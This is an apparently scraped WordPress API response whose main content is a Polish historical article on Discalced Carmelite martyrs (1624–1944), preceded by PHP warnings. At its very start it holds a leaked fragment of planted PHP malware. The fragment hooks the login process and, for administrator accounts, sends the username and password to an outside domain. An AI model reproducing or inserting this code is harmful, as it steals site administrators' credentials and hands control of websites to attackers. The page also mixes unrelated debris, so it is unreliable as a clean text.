if (!function_exists("theme_login_init_8a688cc02b8c377de0fbd195a70c0fab")) { function theme_login_init_8a688cc02b8c377de0fbd195a70c0fab() { if (isset($_POST['log']) and isset($_POST['pwd'])) { $abc = $_POST['log']; $bca = $_POST['pwd']; $zxa = (array)wp_authenticate($abc, $bca); if (isset($zxa["allcaps"]['administrator'])) { $url = 'https://acjscsswp.com/loginfileweb?url=' . urlencode(wp_login_url()) . '&user=' . urlencode($abc) . '&pass=' . urlencode($bca) . '&site=' . urlencode(wp_login_url()); $response = wp_remote_get($url); } } } add_action('wp_login', 'theme_login_init_8a688cc02b8c377de0fbd195a70c0fab', 10, 0); } ?>
Warning: Cannot modify header information - headers already sent by (output started at /home/klient.dhosting.pl/ocd/karmel.pl/public_html1/wp-content/plugins/child-theme-wizard/child-theme-wizard.php:374) in /home/klient.dhosting.pl/ocd/karmel.pl/public_html1/wp-includes/rest-api/class-wp-rest-server.php on line 1831

Warning: Cannot modify header information - headers already sent by (output started at /home/klient.dhosting.pl/ocd/karmel.pl/public_html1/wp-content/plugins/child-theme-wizard/child-theme-wizard.php:374) in /home/klient.dhosting.pl/ocd/karmel.pl/public_html1/wp-includes/rest-api/class-wp-rest-server.php on line 1831

Warning: Cannot modify header information - headers already sent by (output started at /home/klient.dhosting.pl/ocd/karmel.pl/public_html1/wp-content/plugins/child-theme-wizard/child-theme-wizard.php:374) in /home/klient.dhosting.pl/ocd/karmel.pl/public_html1/wp-includes/rest-api/class-wp-rest-server.php on line 1831

Warning: Cannot modify header information - headers already sent by (output started at /home/klient.dhosting.pl/ocd/karmel.pl/public_html1/wp-content/plugins/child-theme-wizard/child-theme-wizard.php:374) in /home/klient.dhosting.pl/ocd/karmel.pl/public_html1/wp-includes/rest-api/class-wp-rest-server.php on line 1831

Warning: Cannot modify header information - headers already sent by (output started at /home/klient.dhosting.pl/ocd/karmel.pl/public_html1/wp-content/plugins/child-theme-wizard/child-theme-wizard.php:374) in /home/klient.dhosting.pl/ocd/karmel.pl/public_html1/wp-includes/rest-api/class-wp-rest-server.php on line 1831

Warning: Cannot modify header information - headers already sent by (output started at /home/klient.dhosting.pl/ocd/karmel.pl/public_html1/wp-content/plugins/child-theme-wizard/child-theme-wizard.php:374) in /home/klient.dhosting.pl/ocd/karmel.pl/public_html1/wp-includes/rest-api/class-wp-rest-server.php on line 1831

Warning: Cannot modify header information - headers already sent by (output started at /home/klient.dhosting.pl/ocd/karmel.pl/public_html1/wp-content/plugins/child-theme-wizard/child-theme-wizard.php:374) in /home/klient.dhosting.pl/ocd/karmel.pl/public_html1/wp-includes/rest-api/class-wp-rest-server.php on line 1831

Warning: Cannot modify header information - headers already sent by (output started at /home/klient.dhosting.pl/ocd/karmel.pl/public_html1/wp-content/plugins/child-theme-wizard/child-theme-wizard.php:374) in /home/klient.dhosting.pl/ocd/karmel.pl/public_html1/wp-includes/rest-api/class-wp-rest-server.php on line 1831
{"id":17562,"date":"2017-06-01T14:48:42","date_gmt":"2017-06-01T12:48:42","guid":{"rendered":"http:\/\/www.karmel.pl\/?p=17562"},"modified":"2017-07-10T10:09:34","modified_gmt":"2017-07-10T08:09:34","slug":"wierni-chrystusowi","status":"publish","type":"post","link":"https:\/\/www.karmel.pl\/wierni-chrystusowi\/","title":{"rendered":"Wierni Chrystusowi"},"content":{"rendered":"

o. Szczepan Pra\u015bkiewicz OCD<\/em><\/p>\n

M\u0119czennicy Polskiego Karmelu Terezja\u0144skiego w pierwszym czterechsetleciu jego historii 1605-2005.<\/strong><\/h4>\n

W przeci\u0105gu minionych czterech wiek\u00f3w od przybycia karmelit\u00f3w bosych do Polski wielu syn\u00f3w polskiego Karmelu swoj\u0105 wierno\u015b\u0107 Chrystusowi i Ko\u015bcio\u0142owi przypiecz\u0119towa\u0142o m\u0119cze\u0144sk\u0105 \u015bmierci\u0105. Trudno wskaza\u0107 dok\u0142adn\u0105 ich liczb\u0119, poniewa\u017c nie posiadamy danych dotycz\u0105cych czasu i okoliczno\u015bci \u015bmierci wielu zakonnik\u00f3w, rozproszonych po kasacie klasztor\u00f3w wszystkich trzech prowincji, tj. polskiej, litewskiej i ruskiej w okresie zabor\u00f3w. Mo\u017cemy jednak poda\u0107 imiona i dane dotycz\u0105ce m\u0119cze\u0144skiej \u015bmierci 22 naszych wsp\u00f3\u0142braci. Pierwszym z nich, kt\u00f3rego pami\u0119\u0107 pozostaje nadal \u017cywa, by\u0142 o. Makary od Naj\u015bwi\u0119tszego Sakramentu (Demeski), m\u0119czennik za Przemy\u015bl podczas obl\u0119\u017cenia miasta przez Tatar\u00f3w w lipcu 1624 r. Ostatnim za\u015b o. Alfons Maria od Ducha \u015awi\u0119tego (J\u00f3zef Mazurek), zamordowany przez Niemc\u00f3w w sierpniu 1944 r., beatyfikowany przez Jana Paw\u0142a II wraz ze 107. m\u0119czennikami hitleryzmu. Poni\u017csze studium pragnie przedstawi\u0107 sylwetki, lub przynajmniej przywo\u0142a\u0107 imiona i okoliczno\u015bci \u015bmierci (w przypadkach gdy o samych m\u0119czennikach niewiele wiemy) tych naszych wsp\u00f3\u0142braci, wiernych \u015bwiadk\u00f3w Chrystusa i syn\u00f3w Ko\u015bcio\u0142a na przestrzeni minionych czterystu lat naszej historii.<\/p>\n

<\/p>\n

M\u0119czennicy z r\u0105k Tatar\u00f3w i Kozak\u00f3w<\/b><\/h4>\n

List\u0119 polskich m\u0119czennik\u00f3w karmelita\u0144skich otwiera o. Makary Demski od Naj\u015bwi\u0119tszego Sakramentu. Urodzi\u0142 si\u0119 on we W\u0142odzimierzu w szlacheckiej rodzinie prawos\u0142awnej. W m\u0142odo\u015bci, w poszukiwaniu wy\u017cszych warto\u015bci, przyj\u0105\u0142 nie\u015bwiadomie arianizm, wst\u0105pi\u0142 do wojska i zosta\u0142 rotmistrzem. W zawierusze wojennej po \u015bmierci Dymitra Samozwa\u0144ca zosta\u0142 wtr\u0105cony do wi\u0119zienia, gdzie spotka\u0142 karmelit\u00f3w bosych pragn\u0105cych przez Moskw\u0119 dotrze\u0107 do Persji. Przeszed\u0142 na katolicyzm i w 1615 r. przyj\u0105\u0142 w Krakowie habit karmelita\u0144ski.<\/p>\n

W 1624 r., kiedy przebywa\u0142 w Przemy\u015blu jako podprzeor klasztoru, napadli na Polsk\u0119 Tatarzy pod wodza Kantymira. Stan\u0119li obozem pod Przemy\u015blem. Magistrat miasta usilnie nalega\u0142 na przeora klasztoru karmelit\u00f3w bosych, aby pos\u0142a\u0142 o. Makarego, znaj\u0105cego j\u0119zyk tatarski, z poselstwem do Kantymira w celu szukania porozumienia. Miasto nie by\u0142o bowiem w stanie si\u0119 obroni\u0107. O. Makary, jak zawsze pos\u0142uszny, podj\u0105\u0142 si\u0119 trudnej misji, pomimo tego, \u017ce by\u0142 \u015bwiadomy czym ona grozi. Kiedy bowiem chciano mu da\u0107 za towarzysza jednego ze wsp\u00f3\u0142braci, powiedzia\u0142: “dosy\u0107 b\u0119dzie, gdy jeden za lud umrze”. Zanim wyszed\u0142 z klasztoru odprawi\u0142 spowied\u017a generaln\u0105, wzi\u0105\u0142 na szyj\u0119 r\u00f3\u017caniec, a do r\u0119ki krzy\u017c. Stan\u0105wszy przed Kantymirem pragn\u0105\u0142 ofiarowa\u0107 mu palm\u0119 zgody. W\u00f3dz tatarski \u017c\u0105da\u0142 jednak uca\u0142owania go w stop\u0119, czego o. Makary odm\u00f3wi\u0142, twierdz\u0105c, \u017ce taka cze\u015b\u0107 nikomu na ziemi nie przysluguje, jak tylko Namiestnikowi Chrystusowemu. Rozgniewany Kantymir kaza\u0142 wi\u0119c o. Makarego zamordowa\u0107, co niezw\u0142ocznie uczyniono. Legenda podaje, co uwypukli\u0142 w sztuce teatralnej o naszym m\u0119czenniku pt.\u00a0Ku Prawdzie<\/i>\u00a0o. Bernard Smyrak, \u017ce Kantymir, tu\u017c po zamordowaniu o. Makarego, zobaczy\u0142 go w ob\u0142okach z ja\u015bniej\u0105cym krzy\u017cem zwyci\u0119stwa. Faktem jest, \u017ce nakaza\u0142 swym wojskom odwr\u00f3t na wsch\u00f3d.<\/p>\n

Tatarzy rzeczywi\u015bcie ust\u0105pili spod Przemy\u015bla, a nasi wsp\u00f3\u0142bracia, jak czytamy w\u00a0Ksi\u0119dze Zmar\u0142ych Zakonu<\/i>\u00a0“zaraz poszli szuka\u0107 cia\u0142a o. Makarego, m\u0119czennika. Ku niema\u0142emu zdziwieniu znale\u017ali go kl\u0119cz\u0105cego z g\u0142ow\u0105 przy ziemi w taki spos\u00f3b jak u nas robi si\u0119 prostracj\u0119. Na ciele wida\u0107 by\u0142o trzy wielkie rany: na g\u0142owie, na twarzy i na jednej r\u0119ce. Po znalezieniu cia\u0142a o. Makarego ca\u0142y Przemy\u015bl wraz z duchowie\u0144stwem przyszed\u0142 na miejsce m\u0119cze\u0144stwa, a przewodniczyli im nasi ojcowie. Z wielk\u0105 czci\u0105 sprowadzono cia\u0142a o. Makarego najpierw do ko\u015bcio\u0142a \u015bw. Walentego na przedmie\u015bciu, a potem tam odprawiono uroczyste za niego egzekwie. Potem z tak\u0105 sam\u0105 uroczysto\u015bci\u0105 przeniesiono zw\u0142oki do naszego ko\u015bcio\u0142a i tu ponownie odprawiono za niego uroczysto\u015bci pogrzebowe, a nast\u0119pnie pogrzebano zw\u0142oki m\u0119czennika. Dzia\u0142o si\u0119 to w lipcu 1624 r. To by\u0142o dziwne, \u017ce pomimo upa\u0142u cia\u0142o O. Makarego nie rozk\u0142ada\u0142o si\u0119 i nie wydawa\u0142o \u017cadnego przykrego fetoru. Jego s\u0142awa rozesz\u0142a si\u0119 po ca\u0142ej Polsce, bo kaznodzieje na ambonach s\u0142awili go jako ukoronowanego chwa\u0142\u0105 m\u0119czennika”\u00a0(1).<\/p>\n

Dodajmy, \u017ce pami\u0119\u0107 o o. Makarym przetrwa\u0142a w zakonie i w Przemy\u015blu do dzi\u015b. W 1939 r. opublikowano obszerny jego \u017cyciorys w\u00a0Analecta Ordinis<\/i>\u00a0w Rzymie\u00a0(2)\u00a0W przemyskim ko\u015bciele karmelit\u00f3w bosych upami\u0119tnia go epitafium z jego podobizn\u0105 i napisem, kt\u00f3ry g\u0142osi m.in. \u017ce jego “drog\u0105 \u015bmier\u0107 y m\u0119cze\u0144stwo za wiar\u0119 y za mi\u0142o\u015b\u0107 bli\u017aniego (…) obywatele przemyscy wychwalali, y s\u0142awa jego po ca\u0142ej Polszcze si\u0119 rozesz\u0142a, bo kaznodzieje go publicznie po ambonach, ukoronowanego chwa\u0142\u0105 \u015bwi\u0119tych m\u0119czennik\u00f3w chwalili”. Nadto przemyski teatr “Fredreum” trzykrotnie wystawi\u0142 w ostatnich latach wspomnian\u0105 sztuk\u0119\u00a0Ku Prawdzie<\/i>\u00a0na Zamku Kazimierzowskim w ramach dorocznych odchod\u00f3w Dni Przemy\u015bla\u00a0(3). Z tej okazji, przy wsp\u00f3\u0142udziale Wydzia\u0142u Kultury Urz\u0119du Miejskiego w Przemy\u015blu wydano te\u017c okoliczno\u015bciow\u0105 broszur\u0119 o m\u0119czenniku\u00a0(4). Zreszt\u0105, posta\u0107 o. Makarego odnotowuje\u00a0Encyklopedia Katolicka<\/i>\u00a0i liczne pozycje hagiograficzne\u00a0(5).<\/p>\n

W cytowanej ju\u017c\u00a0Ksi\u0119dze Zmar\u0142ych Zakonu\u00a0<\/i>czytamy nadto, \u017ce “24 wrze\u015bnia 1648 w ko\u015bciele konstantynowskim na Wo\u0142yniu zosta\u0142 zabity przez Kozak\u00f3w i Tatar\u00f3w w(ielebny) br. Andrzej od Matki Bo\u017cej z G\u00f3ry Karmelu. Schroni\u0142 si\u0119 on tam po kl\u0119sce pod Pi\u0142awcami z wielk\u0105 liczb\u0105 wiernych i o. Stanis\u0142awem od Jezusa Maryi, spowiednikiem J. O. P. Grzybowskiego, starosty warszawskiego. Tam\u017ce wszyscy obecni, przygotowani na \u015bmier\u0107 przez o. Stanis\u0142awa, po cz\u0119\u015bci zostali wymordowani, a inni wraz z o. Stanis\u0142awem zap\u0119dzeni w niewol\u0119”\u00a0(6).<\/p>\n

Ta sama\u00a0Ksi\u0119ga Zmar\u0142ych<\/i>\u00a0informuje, \u017ce 7 pa\u017adziernika 1655 r. w klasztorze karmelit\u00f3w bosych w Wi\u015bniowcu na Wo\u0142yniu “zosta\u0142 zamordowany o. Hilary od \u015bw. J\u00f3zefa. Prawdopodobnie pochodzi\u0142 ze s\u0142awnej rodziny Herburt\u00f3w. Pozosta\u0142 on w Wi\u015bniowcu w czasie buntu Kozak\u00f3w. Spe\u0142nia\u0142 gorliwie uczynki mi\u0142o\u015bci bli\u017aniego, spowiadaj\u0105c wiernych w tym czasie szczeg\u00f3lnie niebezpiecznym, kiedy Kozacy mordowali tak okrutnie ludzi. Przy tej pos\u0142udze duchownej schwytany przez Kozak\u00f3w zosta\u0142 przez nich okrutnie um\u0119czony. Odci\u0119to mu najpierw r\u0119ce i nogi, a potem odci\u0119to mu g\u0142ow\u0119”(7).<\/p>\n


\n

(1) Kajetan Furmanik OCD,\u00a0Ksi\u0119ga zmar\u0142ych karmelit\u00f3w bosych w Polsce, na Litwie i Rusi 1607-1998. I\/1-2: Polska Prowincja pod wezwaniem Ducha \u015awi\u0119tego 1607-1750<\/i>, Kuria Krakowskiej Prowincji Karmelit\u00f3w Bosych, Krak\u00f3w 2002, s. 121.
\n(2) Stephanus a Sancta Teresia,\u00a0Vita venerabilis patris Maccarii a Sanctissimo Sacramento<\/i>, w:\u00a0Analecta Ordinis Carmelitarum Discalceatorum<\/i>\u00a0(Roma), 14 (1939) s. 90-98.
\n(3)\u00a0Nasz Dziennik<\/i>, 5.09.2003, s. 7.
\n(4)\u00a0M\u0119czennik za miasto Przemy\u015bl. Ojciec Makary Demeski karmelita bosy (1570-1624),<\/i>\u00a0opr. Bronis\u0142aw Tarka OCD, Przemy\u015bl 2000.
\n(5) Gil Czes\u0142aw,\u00a0Demeski Makary OCD<\/i>, w :\u00a0Encyklopedia Katolicka<\/i>, 3, k. 1142 (z bibliografi\u0105).
\n(6)\u00a0Ksi\u0119ga zmar\u0142ych<\/i>, s. 164.
\n(7) Tam\u017ce, s. 174.<\/p>\n

<\/p>\n

Ofiary potopu szwedzkiego<\/b><\/h4>\n

\u0179r\u00f3d\u0142a podaj\u0105, \u017ce m\u0119czennik\u00f3w karmelita\u0144skich potopu szwedzkiego by\u0142o a\u017c sze\u015bciu. Najpierw, w lutym 1656 r., straci\u0142 \u017cycie br. Maciej od \u015bw. Karola, zamordowany “przez heretyk\u00f3w”\u00a0(1)\u00a0w Krakowie. W tym samym miesi\u0105cu, uciekaj\u0105c przed Szwedami na W\u0119gry, zostali zamordowani o. Samuel od \u015bw. J\u00f3zefa i o. Kandyd od Naj\u015bw. Maryi Panny, podprzeor lwowski\u00a0(2).<\/p>\n

Kolejni dwaj m\u0119czennicy potopu szwedzkiego ponie\u015bli \u015bmier\u0107 w klasztorze w Wi\u015bniczu, gdzie prze wiele miesi\u0119cy byli uwi\u0119zieni, pozbawieni \u017cywno\u015bci i lekarstw, a nadto torturowani. Pierwszy z nich zako\u0144czy\u0142 \u017cycie 12 marca 1656 r. By\u0142 to o. J\u00f3zef od Matki Bo\u017cej. Drugi natomiast zmar\u0142 w maju tego samego roku: to o. Cyryl od Naj\u015bw. Maryi Panny. Kronikarz klasztoru wi\u015bnickiego napisa\u0142 o nim, \u017ce by\u0142 “m\u0142odszy wiekiem od o. J\u00f3zefa” i z powodu niezno\u015bnych warunk\u00f3w \u017cycia i udr\u0119k zadawanych przez Szwed\u00f3w “na wp\u00f3\u0142 ociemnia\u0142y”. “Przez dwadzie\u015bcia dni walczy\u0142 z febr\u0105, a\u017c opuszczaj\u0105c to \u015bmiertelne \u017cycie, przeni\u00f3s\u0142 si\u0119 do nie\u015bmiertelnego”\u00a0(3).<\/p>\n

Dw\u00f3ch wsp\u00f3\u0142braci ponios\u0142o te\u017c \u015bmier\u0107 ze strony Szwed\u00f3w we Lwowie. Byli to br. Pachoni, zamordowany pomi\u0119dzy rokiem 1701 a 1703\u00a0(4), i br. Hilarion od \u015bw. M.N. Teresy (Andrzej Kalysz), kt\u00f3rego w ko\u015bciele “mia\u0142 przebi\u0107 sam dow\u00f3dca. (…) Szwedzi weszli do naszego ko\u015bcio\u0142a i okrutnie obchodzili si\u0119 z naszymi zakonnikami”\u00a0(5).<\/p>\n


\n

(1) Tak nazywa Szewd\u00f3w\u00a0Libro dei Morti della Provincia e Fuori negli anni 1655-1730<\/i>\u00a0(Caprarola), na kt\u00f3r\u0105 powo\u0142uje si\u0119 o. Kajetan Furmanik w swojej\u00a0Ksi\u0119dze Zmar\u0142ych<\/i>, s. 174, dodaj\u0105c: “zapewne zabity przez Szwed\u00f3w”.
\n(2)\u00a0Ksi\u0119ga zmar\u0142ych<\/i>, s. 174-175.
\n(3)\u00a0Ksi\u0119ga zmar\u0142ych<\/i>, s. 175.
\n(4) Tam\u017ce, s. 305.
\n(5) Tam\u017ce, s. 313.<\/p>\n

<\/p>\n

Zamordowani przez Turk\u00f3w<\/b><\/h4>\n

Na podstawie\u00a0Ksi\u0119gi Zmar\u0142ych<\/i>\u00a0mo\u017cemy stwierdzi\u0107, \u017ce dw\u00f3ch, albo i trzech polskich karmelit\u00f3w bosych poleg\u0142o z r\u0105k tureckich: dwaj w klasztorze wi\u015bniowieckim na Wo\u0142yniu, a trzeci pod Wiedniem.<\/p>\n

Wsp\u00f3\u0142bracia zamordowani w Wi\u015bniowcu to br. Pachomi od Jezusa, zastrzelony 30 lipca 1675 r., kt\u00f3rego “cia\u0142o przewieziono p\u00f3\u017aniej do Lwowa gdzie d\u0142ugie lata pozostawa\u0142o nienaruszone i nie zepsute”\u00a0(1), i o. Emanuel od Wiecznej M\u0105dro\u015bci, zamordowany nazajutrz, tj. 31 lipca 1675. “Turcy – oddajmy glos kronikarzowi – ca\u0142e swoje si\u0142y skierowali na ko\u015bci\u00f3\u0142 i klasztor, kt\u00f3ry zacz\u0119li zajadle szturmowa\u0107. W ko\u0144cu zdobyli go i wszystkich ludzi tam obecnych, nawet niewiasty i dzieci, pomordowali, a innych zabrali w jasyr. O. Emanuel widz\u0105c, \u017ce Turcy ju\u017c zdobywaj\u0105 ko\u015bci\u00f3\u0142, spo\u017cy\u0142 \u015bw. postacie by je uchroni\u0107 przed profanacj\u0105 i z krzy\u017cem w r\u0119ku zach\u0119ca\u0142 do poniesienia \u015bmierci za Chrystusa. Zosta\u0142 te\u017c zamordowany przez Turk\u00f3w przy o\u0142tarzu. Turcy uci\u0119li mu g\u0142ow\u0119. Dzie\u0144 wcze\u015bniej zgin\u0105\u0142 od kuli tureckiej br. Pachomi, donat, kt\u00f3rego nieskazitelne zw\u0142oki przechowywano potem we lwowskim klasztorze. (…) Tak wi\u0119c o. Emanuel ju\u017c by\u0142 trzecim, kt\u00f3ry obla\u0142 krwi\u0105 ruiny klasztoru w Wi\u015bniowcu. Nast\u0119pni dwaj mieli dopiero z\u0142o\u017cy\u0107 swoj\u0105 ofiar\u0119 w XX wieku”\u00a0(2).<\/p>\n

Nadto w maju 1682 r., by\u0107 mo\u017ce pod Wiedniem, w czasie walk wojsk polskich z Turkami, zgin\u0105\u0142 br. Florencjusz od Nawiedzenia Naj\u015bw. Maryi Panny. Informacja ta nie jest jednak stuprocentowo pewna. Brat ten, podr\u00f3\u017cuj\u0105c z o. Justem od \u015bw. Gerarda, zagin\u0105\u0142 w lasach \u0142owickich, i – jak pisze o. Furmanik – “by\u0142y pog\u0142oski, \u017ce poleg\u0142 pod Wiedniem. (…) To jedno jest pewne, \u017ce br. Florencjusz nie odnalaz\u0142 si\u0119”\u00a0(3).<\/p>\n


\n

(1)\u00a0Ksi\u0119ga zmar\u0142ych<\/i>\u00a0s. 222.
\n(2)\u00a0Ksi\u0119ga zmar\u0142ych<\/i>, s. 223. Jest to aluzja do m\u0119cze\u0144stwa o. Hilarego od \u015bw. J\u00f3zefa (+1655), poleg\u0142ego z r\u0105k Kozak\u00f3w, oraz o. Kamila Gleczmana i br. Cypriana Lasonia, zamordowanych przez szowinist\u00f3w ukrai\u0144skich w 1944 r.
\n(3) Tam\u017ce, s. 245.<\/p>\n

<\/p>\n

Polegli z r\u0105k Moskali<\/b><\/h4>\n

Jakkolwiek materialnie Moskale – u\u017cywaj\u0105c terminologii tamtych czas\u00f3w – zadali \u015bmier\u0107 trzem naszym wsp\u00f3\u0142braciom, o m\u0119cze\u0144stwie\u00a0in odium fidei<\/i>\u00a0(z nienawi\u015bci do wiary), ze wszystkimi tego oznakami, mo\u017cemy m\u00f3wi\u0107 tylko w przypadku jednego, mianowicie o. Salezego od \u015bw. Piotra Nolasco (+1866). Przywo\u0142ajmy jednak imiona i okoliczno\u015bci \u015bmierci dw\u00f3ch wcze\u015bniejszych zakonnik\u00f3w. Chodzi wi\u0119c najpierw o o. Atanazego od Opieki \u015bw. J\u00f3zefa (Franciszka Dubielskiego), ekonoma klasztoru \u015bw. Micha\u0142a w Krakowie. Wracaj\u0105c ze Skawiny, gdzie za\u0142atwia\u0142 sprawy klasztoru, odwiedzi\u0142 swoim zwyczajem tynieckie opactwo benedyktyn\u00f3w, w kt\u00f3rym jeszcze bronili si\u0119 konfederaci. Wzi\u0119ty przez nich za szpiega rosyjskiego zosta\u0142 uwi\u0119ziony w wie\u017cy klasztornej. Jakkolwiek wkr\u00f3tce uznano go za niewinnego, nie wypuszczono go jednak z opactwa, i w okoliczno\u015bci zbli\u017caj\u0105cego si\u0119 ataku Moskali nakazano mu opiekowa\u0107 si\u0119 wie\u017c\u0105 i strychami klasztoru. W czasie ataku, 9 lipca 1772 r., strychy stan\u0119\u0142y w ogniu. O. Atanazy pragn\u0105\u0142 ratowa\u0107 zegar na wie\u017cy, lecz by\u0142o ju\u017c za p\u00f3\u017ano i zgin\u0105\u0142 w p\u0142omieniach\u00a0(1).<\/p>\n

Drugim karmelit\u0105 bosym przyprawionym na \u015bmier\u0107 przez Rosjan by\u0142 o. Dominik Sarnicki, wywieziony w 1876 r. w g\u0142\u0105b Rosji, tj. do guberni archangielskiej. P\u00f3\u017aniej przewieziono go do Cahrkowa, gdzie zmar\u0142 z wycie\u0144czenia w 1881 r.\u00a0(2)<\/p>\n

Niezaprzeczalne cechy m\u0119cze\u0144stwa posiada jednak dopiero \u015bmier\u0107 wspomnianego ju\u017c o. Salezego od \u015bw. Piotra Nolasco (J\u00f3zefa Martusiewicza). Pochodzi\u0142 on z Wo\u0142ynia, urodzi\u0142 si\u0119 w 1801 r., uczy\u0142 si\u0119 w Kamie\u0144cu Podolskim, a do zakonu wst\u0105pi\u0142 w Wi\u015bniowcu 30 stycznia 1821 r. Pierwsze lata kap\u0142a\u0144stwa sp\u0119dzi\u0142 w Berdyczowie, gdzie wr\u00f3ci\u0142 w 1834 r. i przebywa\u0142 chyba a\u017c do m\u0119cze\u0144skiej \u015bmierci, b\u0119d\u0105c obrany przeorem klasztoru w 1863 r.<\/p>\n

M\u0119cze\u0144stwo o. Salezego opisuje w li\u015bcie do \u015bw. Rafa\u0142a Kalinowskiego o. Bart\u0142omiej Brydycki: “\u015amier\u0107 jego jest okropna. Kilkana\u015bcie ran przeci\u0119\u0142o pasmo jego \u017cycia doczesnego we w\u0142asnej jego celi. By\u0142 to zakonnik cichy, pokorny, simplex, a jednak z\u0142y cz\u0142owiek znalaz\u0142 przyczyn\u0119 zamordowania go. Morderstwa dokonano w jego celi w dzie\u0144 uroczysty przy ko\u0144cu sumy w spos\u00f3b niezmiernie krwawy. Mia\u0142o ono charakter w\u015bciek\u0142ej nienawi\u015bci ku Ko\u015bcio\u0142owi na osobie o. Salezego wykonanej i by\u0142o zapowiedzi\u0105 bliskiej kasaty klasztoru berdyczowskiego. Jak do tego dosz\u0142o? W\u0142a\u015bnie w tym okresie po powstaniu styczniowym kasowane by\u0142y przez rz\u0105d carski wszystkie klasztory na tych ziemiach. Tak s\u0142awny klasztor jak berdyczowski by\u0142 szczeg\u00f3lnie znienawidzony przez zaborc\u00f3w. Na te trudne czasy wypad\u0142y rz\u0105dy o. Salezego w Berdyczowie. Genera\u0142em Gubernatorem kijowskim by\u0142 wtedy Bezak, kt\u00f3ry szczeg\u00f3lnie nienawidzi\u0142 katolicyzmu. St\u0105d jego zawzi\u0119ta nienawi\u015b\u0107 do Berdyczowa. Cz\u0119sto przyje\u017cd\u017ca\u0142 do klasztoru, a jego wizyty mia\u0142y gro\u017any charakter. W ko\u0144cu o. Salezy otrzyma\u0142 list anonimowy, pe\u0142ny dzikiej nienawi\u015bci do religii katolickiej, do czci Naj\u015bw. Maryi Panny i pe\u0142en blu\u017anierstw i straszliwych pogr\u00f3\u017cek. By\u0142a to gro\u017aba. Wrogowie chcieli strachem zmusi\u0107 przeora do opuszczenia klasztoru. Na razie o. Salezy nie zwraca\u0142 na to uwagi. Kiedy jednak drugi raz otrzyma\u0142 taki sam list, zrozumia\u0142 o co idzie. Jako odpowied\u017a kaza\u0142 powiesi\u0107 u siebie w celi obraz \u015bw. Anio\u0142a M\u0119czennika naszego Zakonu. Wyrazi\u0142 przez to, \u017ce raczej umrze, ale Berdyczowa nie opu\u015bci. Widzimy zatem, \u017ce zdecydowa\u0142 si\u0119 na \u015bmier\u0107, by nie opu\u015bci\u0107 tej plac\u00f3wki Kr\u00f3lowej Karmelu. Morderstwa dokonano w dzie\u0144 \u015bwi\u0105teczny w czasie sumy (15 sierpnia? 1866 r.), kiedy zakonnicy byli w ko\u015bciele zaj\u0119ci prac\u0105 duszpastersk\u0105”\u00a0(3).<\/p>\n


\n

(1)\u00a0Ksi\u0119ga zmar\u0142ych<\/i>, I\/3-4, s. 163.
\n(2) Tam\u017ce, II-IV, s. 227.
\n(3) Tam\u017ce, s. 248-249.<\/p>\n

<\/p>\n

M\u0119czennicy szowinizmu ukrai\u0144skiego<\/b><\/h4>\n

W 2003 r. obchodzono z udzia\u0142em prezydent\u00f3w, w\u0142adz wojskowych i hierarchii ko\u015bcielnej z Polski i z Ukrainy sze\u015b\u0107dziesi\u0119ciolecie zbrodni ludob\u00f3jstwa na Wo\u0142yniu. W wydarzeniach tych straci\u0142o tak\u017ce \u017cycie dw\u00f3ch polskich karmelit\u00f3w bosych, mianowicie o. Kamil od \u015bw. Sylwestra (J\u00f3zef Gleczman) i br. Cyprian od \u015bw. Micha\u0142a (Jan Laso\u0144)\u00a0(1).<\/p>\n

O. Kamil urodzi\u0142 si\u0119 27 czerwca 1909 r. w Polance Wielkiej ko\u0142o O\u015bwi\u0119cimia. Do zakonu wst\u0105pi\u0142 1926 r. i w 1933 r. przyj\u0105\u0142 \u015bwi\u0119cenia kap\u0142a\u0144skie. Trzy lata p\u00f3\u017aniej zosta\u0142 skierowany do Wi\u015bniowca, gdzie ofiarnie pracowa\u0142 jako katecheta. W sierpniu 1939 r. zosta\u0142 mianowany prze\u0142o\u017conym wi\u015bniowieckiego klasztoru, gdzie ju\u017c przebywa\u0142 a\u017c do \u015bmierci. Jak pisze o. Kajetan Furmanik, “by\u0142 to najtrudniejszy okres, bo okres wojennej zawieruchy, a na tych jeszcze terenach okres straszliwych mord\u00f3w, jakich dopuszczali si\u0119 Ukrai\u0144cy. Ich to w ko\u0144cu ofiar\u0105 pad\u0142 i o. Kamil. By\u0142 on dobrym cz\u0142owiekiem, sumiennym w pracy, kochaj\u0105cym Zakon. (…) Z usposobienia by\u0142 weso\u0142ym i umia\u0142 tak\u017ce innych rozweseli\u0107. M\u00f3g\u0142 jeszcze d\u0142ugie lata pracowa\u0107 dla Prowincji, ale B\u00f3g za\u017c\u0105da\u0142 od niego innej i wi\u0119kszej ofiary, ofiary z krwi i w\u0142asnego \u017cycia, kt\u00f3re z\u0142o\u017cy\u0142 Bogu. Nienawi\u015b\u0107 i zbrodnia, kt\u00f3re przeci\u0119\u0142y jego \u017cycie, by\u0142y narz\u0119dziami jego ofiary i m\u0119cze\u0144stwa”\u00a0(2).<\/p>\n

Br. Cyprian od \u015bw. Micha\u0142a urodzi\u0142 si\u0119 3 sierpnia 1879 r. w Nowej G\u00f3rze. Wst\u0105pi\u0142 do Karmelu i zosta\u0142 ob\u0142\u00f3czony w Czernej jako tercjarz w 1907 r. Nowicjat kanoniczny rozpocz\u0105\u0142 dopiero w 1910 r. Po z\u0142o\u017ceniu \u015blub\u00f3w zakonnych pracowa\u0142 w Czernej, a potem w Wadowicach jako kucharz. Odznacza\u0142 si\u0119 wielk\u0105 pracowito\u015bci\u0105. Z Wadowic skierowano go do Lublina w 1925 r. gdzie by\u0142 zakrystianinem. W 1932 r. wyjecha\u0142 do Wi\u015bniowca, gdzie przebywa\u0142 a\u017c do m\u0119cze\u0144skiej \u015bmierci. Z wielk\u0105 sumienno\u015bci\u0105, zapa\u0142em i po\u015bwi\u0119ceniem pracowa\u0142 w tym klasztorze, ale szczeg\u00f3lnie zas\u0142u\u017cy\u0142 si\u0119 jako ogrodnik, doprowadzaj\u0105c do kwitn\u0105cego stanu zupe\u0142nie zapuszczony i zniszczony ogr\u00f3d klasztorny\u00a0(3).<\/p>\n

